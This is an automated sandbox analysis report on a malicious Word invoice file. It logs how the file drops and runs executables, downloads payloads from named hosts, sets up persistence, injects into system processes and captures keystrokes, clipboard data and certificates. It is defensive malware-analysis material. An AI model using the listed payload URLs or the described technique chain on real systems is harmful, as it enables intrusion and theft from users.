Joe Sandbox Cloud Analysis Report

Loading ...

Analysis Report

Overview

General Information

Analysis ID:45867
Start time:11:24:00
Start date:08/08/2014
Overall analysis duration:0h 2m 49s
Report type:full
Sample file name:Rechnung_05052014.doc
Cookbook file name:default.jbs
Analysis system description:XP SP3 (Office 2003 SP1, Java 1.5.0, Acrobat Reader 8.1.2, Internet Explorer 6, Flash 10.1.82.76)
Number of analysed new started processes analysed:8
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:4
HCA enabled:true
HCA success:
  • true, ratio: 93%
  • Number of executed functions: 149
  • Number of non-executed functions: 1112
Warnings:
  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
  • Report size getting too big, too many NtMapViewOfSection calls found.
  • Report size getting too big, too many NtQueryValueKey calls found.
  • Report size getting too big, too many NtSetInformationFile calls found.
  • Report size getting too big, too many NtSetInformationProcess calls found.


Detection

StrategyReport FP/FN
Threshold malicious


Signature Overview


Protection of GUI:

barindex
Contains functionality to create a new desktopShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0042886A OpenWindowStationW,CreateWindowStationW,GetProcessWindowStation,OpenDesktopW,CreateDesktopW,GetCurrentThreadId,GetThreadDesktop,SetThreadDesktop,CloseDesktop,CloseWindowStation,5_2_0042886A

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboardShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_00414477 OpenClipboard,5_1_00414477
Contains functionality to read the clipboard dataShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_004079BF InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection,CreateFileW,ReadFile,CloseHandle,InitializeCriticalSection,GetModuleHandleW,GetModuleHandleW,GetModuleHandleW,GetFileAttributesExW,HttpSendRequestW,HttpSendRequestA,HttpSendRequestExW,HttpSendRequestExA,InternetCloseHandle,InternetReadFile,InternetReadFileExA,InternetQueryDataAvailable,HttpQueryInfoA,closesocket,send,WSASend,TranslateMessage,GetClipboardData,5_2_004079BF
Contains functionality to retrieve information about pressed keystrokesShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00428575 EnterCriticalSection,GetTickCount,LeaveCriticalSection,GetKeyboardState,ToUnicode,TranslateMessage,5_2_00428575
Hooks clipboard functions (used to sniff clipboard data)Show sources
Source: explorer.exeIAT, EAT or inline hook detected: module: USER32.dll function: GetClipboardData

E-Banking Fraud:

barindex
Hooks winsocket function (used for sniffing or altering network traffic)Show sources
Source: explorer.exeFile created: function: InternetReadFile

Software Vulnerablities:

barindex
Document exploit detected (droppes PE files)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: ZwGuKEMphiZgNT.com.dr
Document exploit detected (performs DNS queries)Show sources
Source: global trafficDNS query: name: pensionmagda.cz
Document exploit detected (performs HTTP gets)Show sources
Source: global trafficTCP traffic: 192.168.1.13:1030 -> 217.198.114.63:80
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
Document exploit detected (unknown TCP traffic)Show sources
Source: global trafficTCP traffic: 192.168.1.13:1030 -> 217.198.114.63:80

Networking:

barindex
Urls found in memory or binary dataShow sources
Source: 3463226.exeString found in binary or memory: http://
Source: Rechnung_05052014.docString found in binary or memory: http://office365.com
Source: Rechnung_05052014.docString found in binary or memory: http://office365.com/
Source: ZwGuKEMphiZgNT.comString found in binary or memory: http://pensionmagda.cz/wzrk.exe
Source: Rechnung_05052014.docString found in binary or memory: http://schemas.openxmlformats.org/drawingml/2006/main
Source: Rechnung_05052014.docString found in binary or memory: http://schemas.openxmlformats.org/officedocument/2006/bibliography
Source: Rechnung_05052014.docString found in binary or memory: http://schemas.openxmlformats.org/officedocument/2006/customxml
Source: 3463226.exeString found in binary or memory: http://www.google.com/webhp
Source: 3463226.exeString found in binary or memory: https://
Contains functionality to download additional files from the internetShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00403867 recv,4_2_00403867
Downloads filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.MSO
Tries to download non-existing http data (HTTP/1.1 404 Not Found)Show sources
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Found Date: Fri, 08 Aug 2014 09:26:03 GMT Server: Apache/2.2.16 (Debian) Vary: accept-language,accept-charset,Accept-Encoding Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Fri, 08 Aug 2014 09:26:03 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 Data Ascii: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://ww
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /wzrk.exe HTTP/1.0 Host: pensionmagda.cz Accept-Language: en-US Accept: */* Accept-Encoding: identity, *;q=0 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global trafficHTTP traffic detected: GET /wzrk.exe HTTP/1.0 Host: www.pensionmagda.cz Accept-Language: en-US Accept: */* Accept-Encoding: identity, *;q=0 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global trafficHTTP traffic detected: GET /gdfyergjej.exe HTTP/1.0 Host: pianossimi.fr Accept-Language: en-US Accept: */* Accept-Encoding: identity, *;q=0 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: pensionmagda.cz
Uses a known web browser user agent for HTTP communicationShow sources
Source: global trafficHTTP traffic detected: GET /wzrk.exe HTTP/1.0 Host: pensionmagda.cz Accept-Language: en-US Accept: */* Accept-Encoding: identity, *;q=0 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global trafficHTTP traffic detected: GET /wzrk.exe HTTP/1.0 Host: www.pensionmagda.cz Accept-Language: en-US Accept: */* Accept-Encoding: identity, *;q=0 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global trafficHTTP traffic detected: GET /gdfyergjej.exe HTTP/1.0 Host: pianossimi.fr Accept-Language: en-US Accept: */* Accept-Encoding: identity, *;q=0 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Boot Survival:

barindex
Creates an autostart registry keyShow sources
Source: C:\WINDOWS\explorer.exeRegistry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run gonuu.exe
Source: C:\WINDOWS\explorer.exeRegistry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run gonuu.exe
Drops PE files to the user root directory (C:\Documents and Settings\User or C:\Users\User)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
Monitors registry run keys for changesShow sources
Source: C:\WINDOWS\system32\ctfmon.exeRegistry key monitored: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run

Remote Access Functionality:

barindex
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0041B962 socket,bind,closesocket,5_2_0041B962
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0041B57B socket,bind,listen,closesocket,5_2_0041B57B
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00BBB962 socket,bind,closesocket,5_2_00BBB962
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00BBB57B socket,bind,listen,closesocket,5_2_00BBB57B
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_2_0041B962 socket,bind,closesocket,6_2_0041B962
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_2_0041B57B socket,bind,listen,closesocket,6_2_0041B57B
Source: C:\WINDOWS\explorer.exeCode function: 7_2_00E4B57B socket,bind,listen,#3,7_2_00E4B57B
Source: C:\WINDOWS\explorer.exeCode function: 7_2_00E4B962 socket,bind,#3,7_2_00E4B962
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeCode function: 8_2_00A0B57B socket,bind,listen,#3,8_2_00A0B57B
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeCode function: 8_2_00A0B962 socket,bind,#3,8_2_00A0B962
Source: C:\WINDOWS\system32\ctfmon.exeCode function: 9_2_00A4B962 socket,bind,#3,9_2_00A4B962
Source: C:\WINDOWS\system32\ctfmon.exeCode function: 9_2_00A4B57B socket,bind,listen,#3,9_2_00A4B57B
Opens a port and listens for incoming connection (possibly a backdoor)Show sources
Source: C:\WINDOWS\explorer.exeSocket bind: port: 38677
Contains VNC / remote desktop functionality (RFB version string found)Show sources
Source: 3463226.exeString found in binary or memory: RFB 003.003

Persistence and Installation Behavior:

barindex
Drops PE filesShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comFile created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeFile created: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe
Drops PE files to the user directory (C:\Documents and Settings\)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
Drops PE files with a suspicious file extensionShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com

Data Obfuscation:

barindex
Contains functionality to dynamically determine API callsShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_0040236E LoadLibraryA,LoadLibraryA,GetProcAddress,4_2_0040236E

Spreading:

barindex
Contains functionality to enumerate / list files inside a directoryShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0041DD7A FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,5_2_0041DD7A

System Summary:

barindex
Has a correct PE checksumShow sources
Source: initial sampleStatic PE information: Present: = calced
Contains functionality to access the windows certificate storeShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00420A6C CertOpenSystemStoreW,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCertificatesInStore,PFXExportCertStoreEx,PFXExportCertStoreEx,PFXExportCertStoreEx,CharLowerW,GetSystemTime,CertCloseStore,5_2_00420A6C
Contains functionality to adjust token privileges (e.g. debug / backup)Show sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_0040280F LookupPrivilegeValueA,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,4_2_0040280F
Contains functionality to enum processes or threadsShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00402B98 WTSGetActiveConsoleSessionId,CreateToolhelp32Snapshot,Process32First,StrStrIA,ProcessIdToSessionId,OpenProcess,OpenProcessToken,ImpersonateLoggedOnUser,RegOpenCurrentUser,CloseHandle,CloseHandle,CloseHandle,Process32Next,CloseHandle,4_2_00402B98
Creates files inside the user directoryShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\Application Data\Microsoft\Office
Creates temporary filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD7A6.tmp
Executes batch filesShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess created: C:\WINDOWS\system32\cmd.exe C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp17a7aa60.bat
Reads ini filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile read: C:\WINDOWS\win.ini
Spawns processesShow sources
Source: unknownProcess created: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
Source: unknownProcess created: C:\WINDOWS\system32\svchost.exe
Source: unknownProcess created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
Source: unknownProcess created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe
Source: unknownProcess created: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe
Source: unknownProcess created: C:\WINDOWS\system32\cmd.exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess created: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com ZwGuKEMphiZgNT.com
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comProcess created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess created: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess created: C:\WINDOWS\system32\cmd.exe C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp17a7aa60.bat
Contains functionality to call native functionsShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_004088DB EntryPoint,SetErrorMode,GetCommandLineW,CommandLineToArgvW,ExitProcess,NtClose,NtClose,NtClose,NtClose,NtClose,Sleep,NtClose,5_2_004088DB
Contains functionality to launch a process as a different userShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00402D3C CreateProcessAsUserA,ShellExecuteA,ShellExecuteA,4_2_00402D3C
Contains functionality to shutdown / reboot the systemShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00408600 CreateMutexW,ExitWindowsEx,OpenEventW,CloseHandle,SetEvent,CloseHandle,CloseHandle,5_2_00408600
Creates files inside the system directoryShow sources
Source: C:\WINDOWS\system32\svchost.exeFile created: C:\WINDOWS\Sti_Trace.log
Creates mutexesShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Local\{893B0272-6967-6ED8-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-936E-5D42233918B6}
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-736D-5D42C33A18B6}
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeMutant created: \BaseNamedObjects\Global\{A89158AA-33BF-4F72-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-736A-5D42C33D18B6}
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-A76C-5D42173B18B6}
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-036C-5D42B33B18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-0B6B-5D42BB3C18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-D368-5D42633F18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-836F-5D42333818B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{83DE351B-5E0E-643D-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{D071451D-2E08-3792-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Local\{2693D86C-B379-C170-A961-10791936558D}
Source: C:\WINDOWS\system32\ctfmon.exeMutant created: \BaseNamedObjects\Global\{F0DDC10A-AA1F-173E-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{3CF0361E-5D0B-DB13-A961-10791936558D}
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-AB6C-5D421B3B18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-EF68-5D425F3F18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-1B68-5D42AB3F18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-E769-5D42573E18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{2C76EF05-8410-CB95-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{49E5DF87-B492-AE06-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-E76C-5D42573B18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-2368-5D42933F18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-2B6B-5D429B3C18B6}
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-AF6A-5D421F3D18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-3769-5D42873E18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-9369-5D42233E18B6}
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-AF6F-5D421F3818B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{1ABBC0FC-ABE9-FD58-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-CB6B-5D427B3C18B6}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Local\{C8E1263D-4D28-2F02-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{55902C7D-4768-B273-A961-10791936558D}
Source: C:\WINDOWS\explorer.exeMutant created: \BaseNamedObjects\Global\{F767013F-6A2A-1084-1F6E-5D42AF3918B6}
Enables driver privilegesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess token adjusted: Load Driver
Enables security privilegesShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess token adjusted: Security
Reads the hosts fileShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comFile read: C:\WINDOWS\system32\drivers\etc\hosts
Tries to load missing DLLsShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXESection loaded: xpsp2res.dll
Source: C:\WINDOWS\system32\svchost.exeSection loaded: xpsp2res.dll
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeSection loaded: xpsp2res.dll

HIPS / PFW / Operating System Protection Evasion:

barindex
Contains functionality to add an ACL to a security descriptorShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0041BB34 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,LocalFree,5_2_0041BB34
Contains functionality to create a new security descriptorShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00402E8B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,4_2_00402E8B
May try to detect the Windows Explorer process (often used for injection)Show sources
Source: WINWORD.EXEBinary or memory string: Program Manager
Source: WINWORD.EXEBinary or memory string: Shell_TrayWnd
Allocates memory in foreign processesShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory allocated: C:\WINDOWS\explorer.exe base: E30000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory allocated: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: 9F0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory allocated: C:\WINDOWS\system32\ctfmon.exe base: A30000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory allocated: C:\WINDOWS\system32\wscntfy.exe base: AF0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory allocated: unknown base: 47F0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory allocated: unknown base: BA0000 protect: page execute and read and write
Changes memory attributes in foreign processes to executable or writableShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E30000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62AB0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62AC4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62F88 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62F8C protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E629A0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62AF4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\explorer.exe base: E62980 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: 9F0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22AB0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22AC4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22F88 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22F8C protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A229A0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22AF4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22980 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A30000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62AB0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62AC4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62F88 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62F8C protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A629A0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62AF4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\ctfmon.exe base: A62980 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: AF0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22AB0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22AC4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22F88 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22F8C protect: page execute and read and write
